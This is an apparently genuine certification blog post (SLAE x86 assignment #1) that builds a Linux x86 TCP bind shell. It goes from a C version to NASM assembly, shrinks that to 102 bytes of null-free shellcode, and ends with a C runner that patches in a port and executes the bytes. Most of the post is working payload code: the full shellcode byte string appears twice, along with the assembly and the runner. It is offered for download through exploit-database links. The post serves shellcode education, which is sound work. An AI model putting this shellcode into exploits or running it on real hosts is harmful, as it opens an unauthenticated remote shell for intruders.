ASM Bindshell (SLAE x86 Assignment #1)

Introduction

This is assignment #1 of the SLAE x86 Exam objectives.

Objectives

  • Crate a Shell_Bind_TCP shellcode
    • Binds to a port
    • Execs Shell on incoming connection
  • Port number should be easily configurable

Building a task plan and prerequisites

Bindshell coded in C

The easiest way to understand how a bindshell works at a higher level language and to check what are the system calls required to bind the shell is to have a bindshell example codec in C and discover the necessary syscalls made by the program. For details on how to code a bindshell in C you may check out the following Introduction to Sockets Programming in C using TCP/IP presentation. Its diagram maps out the syscalls required to create a TCP listener:

https://www.csd.uoc.gr/~hy556/material/tutorials/cs556-3rd-tutorial.pdf

One of the simplest bindshells coded in C looks as following:

/* *** A simple /bin/sh TCP bindshell ***

Author d7x 
https://d7x.promiselabs.net 
http://www.promiselabs.net

*/

#include <stdio.h>
#include <netdb.h>

main() {
	// create the socket
	int sockid = socket(PF_INET, SOCK_STREAM, 0);

	struct sockaddr_in addrport;
	addrport.sin_family = AF_INET;
	addrport.sin_port = htons(4444);
	addrport.sin_addr.s_addr = htonl(INADDR_ANY);

	// bind
	bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));

	// listen 
	listen(sockid, 0);

	// accept 
	int sock_accept = accept(sockid, 0, 0);

	// redirect stdin, stdout, stderr
	int i = 0;
	for (i = 0; i <= 2; i++)
		dup2(sock_accept, i);	

	// exec /bin/sh
	execve("/bin/sh", NULL, NULL);
}

System calls

Based on the above application we could summarize that the following system calls are being made:

  • socket
  • bind
  • listen
  • accept
  • dup2 (called 3 times with the values 0, 1, 2 to redirect stdin, stdout, and stderr, respectively to our incoming socket)
  • execve

Based on the above details we could locate the socketcall syscall available described in /usr/include/i386-linux-gnu/asm/unistd_32.h with a call number 102, as well as the execve and dup2 syscalls which we would need at a later stage:

$ less /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve              11
#define __NR_dup2                63
#define __NR_socketcall         102

The man page of socketcall also suggests that we need to provide the call type, which can be tracked to the following subcall routines, defined in /usr/include/linux/net.h:

$ man socketcall
int socketcall(int call, unsigned long *args);
$ less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

And the protocol families defined in /usr/include/i386-linux-gnu/bits/socket.h:

$ less /usr/include/i386-linux-gnu/bits/socket.h
enum __socket_type
{
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
                                   byte streams.  */
...
}
#define PF_INET         2       /* IP protocol family.  */

ASM Pseudo-code

Based on the above definitions we could make the following pseudo-code of syscalls and parameters:

; socketcall (0x66)
;   syscall SYS_SOCKET (0x01)

; socketcall (0x66)
;   syscall socket_type BIND (0x02)

; socketcall (0x66)
;   syscall  SYS_LISTEN (0x04) 

; socketcall (0x66)
;   syscall SYS_ACCEPT (0x04) 

; dup2 (0x3f)
;   0 ; stdin

; dup2 (0x3f)
;   1 ; stdout

; dup2 (0x3f)
;   2 ; stderr

; execve (0x0b) 
;   /bin//sh

Assembly code

After having all the required prerequisites and the pseudo-asm code for our assembly bindshell, let’s substitute the comments with the actual syntax values of the assembly language syntax:

; bindshell.nasm - Assembly TCP Bindshell (port 4444)
; Author d7x

global _start:

section .text

_start:
; socketcall (0x66)
;   syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01

; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0) 
xor edx, edx
push edx ; int domain

push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)

mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; socketcall (0x66)
;   syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x02

; pushing arguments to the stack backwards: 
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));

xor edx, edx
push edx
push word 0x5c11 ; port 4444 
push word 0x02  ; PF_INET

mov ecx, esp

push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor 

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall  SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x04

; pushing arguments to the stack backwards: 
; listen(sockid, 0);
xor edx, edx
push edx ; push 0

push esi ; descriptor saved earlier in esi

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x05
xor edx, edx
push edx
push edx
push esi ; descriptor saved earlier in esi
mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; dup2 (0x3f)
;   0 ; stdin

; dup2 (0x3f)
;   1 ; stdout

; dup2 (0x3f)
;   2 ; stderr
; let's put all this in a loop
xor ecx, ecx

DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2                63
; int dup2(int oldfd, int newfd);
xor eax, eax
mov al, 0x3f

; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value

xor ebx, ebx
mov ebx, esi  ; saved socket descriptor
; syscall
int 0x80

inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached


; execve (0x0b) 
;   /bin//sh
xor eax, eax
xor ebx, ebx
sub esp, 8 ; reserve some bytes in the stack to work with

mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp

xor ecx, ecx

; syscall
int 0x80

; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80

After fixing a few errors, as at this point of writing assembly and looking back at your code, at a point you are mostly wondering what the hell is this and how did you manage to write it. But by structuring a pseudo-code, something I like to do as a methodology with things I do not have the experience to write on the fly, the coded bindshell in assembly application spawns a shell on port 4444 as expected:

Now that there is a working null-byte free assembly bindshell skeleton, I wanted to work on getting the shellcode size a bit smaller by removing some unnecessary or not so vital instructions. The shellcode size from the above assembly is 129 bytes. The first thing I did is to remove the zeroing of the eax and ebx register in the subsequent calls after the initial syscall, any any repetitive instructions that have been zeroing a register that has already been zeroed in the assembly code, except the xor eax, eax one at the beginning of the execve syscall, as it was required for the following reason:

  • the eax register is pushed on to the stack to reserve some stack space to work with, and has to be zeroed prior to this

. The sub esp, 8 instruction in the execve call placed to reserve some space on the stack for the /bin//sh string was also replaced with a simple push eax (as the eax register has already been zeroed prior to this), as its opcode is just 1 byte compared to the sub esp, 8 which opcode takes 3 bytes:

nasm > sub esp, 8
00000000  83EC08            sub esp,byte +0x8
nasm > push eax
00000000  50                push eax

At this point the result was 102 bytes of assembly shellcode, represented in the following assembly code:

; bindshell.nasm - Assembly TCP Bindshell (port 4444)
; Author d7x
; https://d7x.promiselabs.net
; https://www.promiselabs.net

global _start:

section .text

_start:
; socketcall (0x66)
;   syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01

; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0) 
xor edx, edx
push edx ; int domain

push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)

mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; socketcall (0x66)
;   syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x02

; pushing arguments to the stack backwards: 
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));

; xor edx, edx
push edx
push word 0x5c11 ; port 4444 
push word 0x02  ; PF_INET

mov ecx, esp

push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor 

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall  SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x04

; pushing arguments to the stack backwards: 
; listen(sockid, 0);
; xor edx, edx
push edx ; push 0

push esi ; socket file descriptor saved earlier in esi

mov ecx, esp

; syscall
int 0x80

; socketcall (0x66)
;   syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x05
; xor edx, edx
; push edx
push edx
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; dup2 (0x3f)
;   0 ; stdin

; dup2 (0x3f)
;   1 ; stdout

; dup2 (0x3f)
;   2 ; stderr
; let's put all this in a loop
xor ecx, ecx

DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2                63
; int dup2(int oldfd, int newfd);

; xor eax, eax
mov al, 0x3f

; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value

; xor ebx, ebx
mov ebx, esi  ; saved socket descriptor
; syscall
int 0x80

inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached


; execve (0x0b) 
;   /bin//sh
xor eax, eax
; xor ebx, ebx
; sub esp, 8 ; reserve some bytes in the stack to work with
push eax

mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp

xor ecx, ecx

; syscall
int 0x80

; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80

And the above assembly completes objective #1 from the SLAE32 course assignment.

Bulding a shellcode stub

Discovering the shellcode port byte offset

(shellcode port definition byte offset)

# No null-bytes
$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o "\\x00" | wc -l
0

# Shellcode length: 102 bytes
$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o "\\x" | wc -l
102

# Shellcode output:
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

We already know that the port allocated to the bindshell is at 5c11, meaning we are looking for the bytes represented as \x11\x5c within the shellcode. To allocate the offset at which the port is defined I used the following command from my penetration testing cheatsheet:

$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed -n -e 's/\\x11\\x5c.*//p' | grep -o '\x' | wc -l
28

This means that the bytes from the shellcode that need to be changed occur at byte 29th and 30th.

Building a C program with dynamic shellcode port binding

The complete details on how to do this are described in my previous thread titled C: changing shellcode bytes at the middle (or at shellcode offset), so we could just swap the code described there with the shellcode assembly above and use the appropriate offsets from it:

/* 
bindshell with dynamic shellcode port binding (tested on Ubuntu 12.04 LTS)
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";

main(int argc, char *argv[])
{

  /* Default port at 28th and 29th byte index: \x11\x5c */

  // in case no port is provided the default would be used
  if (argc < 2) {
    printf("No port provided, 4444 (0x115c will be used)\n");
  } 
  else
  {

    int port = atoi(argv[1]);
    printf("Binding to %d (0x%x)\n", port, port);

    unsigned int p1 = (port >> 8) & 0xff;
    unsigned int p2 = port & 0xff;
    // printf("%x %x\n", p1, p2);

    shellcode[28] = (unsigned char){p1};
    shellcode[29] = (unsigned char){p2};

    // printf("%x %x", shellcode[28], shellcode[29]);
}

  int (*ret)() = (int(*)())shellcode;

  ret(); 

}

Download

Bindshell With Dynamic Port Binding Shellcode (102 bytes):

PacketStormSecurity:
https://packetstormsecurity.com/files/163439/Linux-x86-Bindshell-With-Dynamic-Port-Binding-Shellcode.html

Exploit-db:
https://www.exploit-db.com/exploits/50124

Github:
https://github.com/d7x/shellcode/blob/main/linux/x86/bindshell.c




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690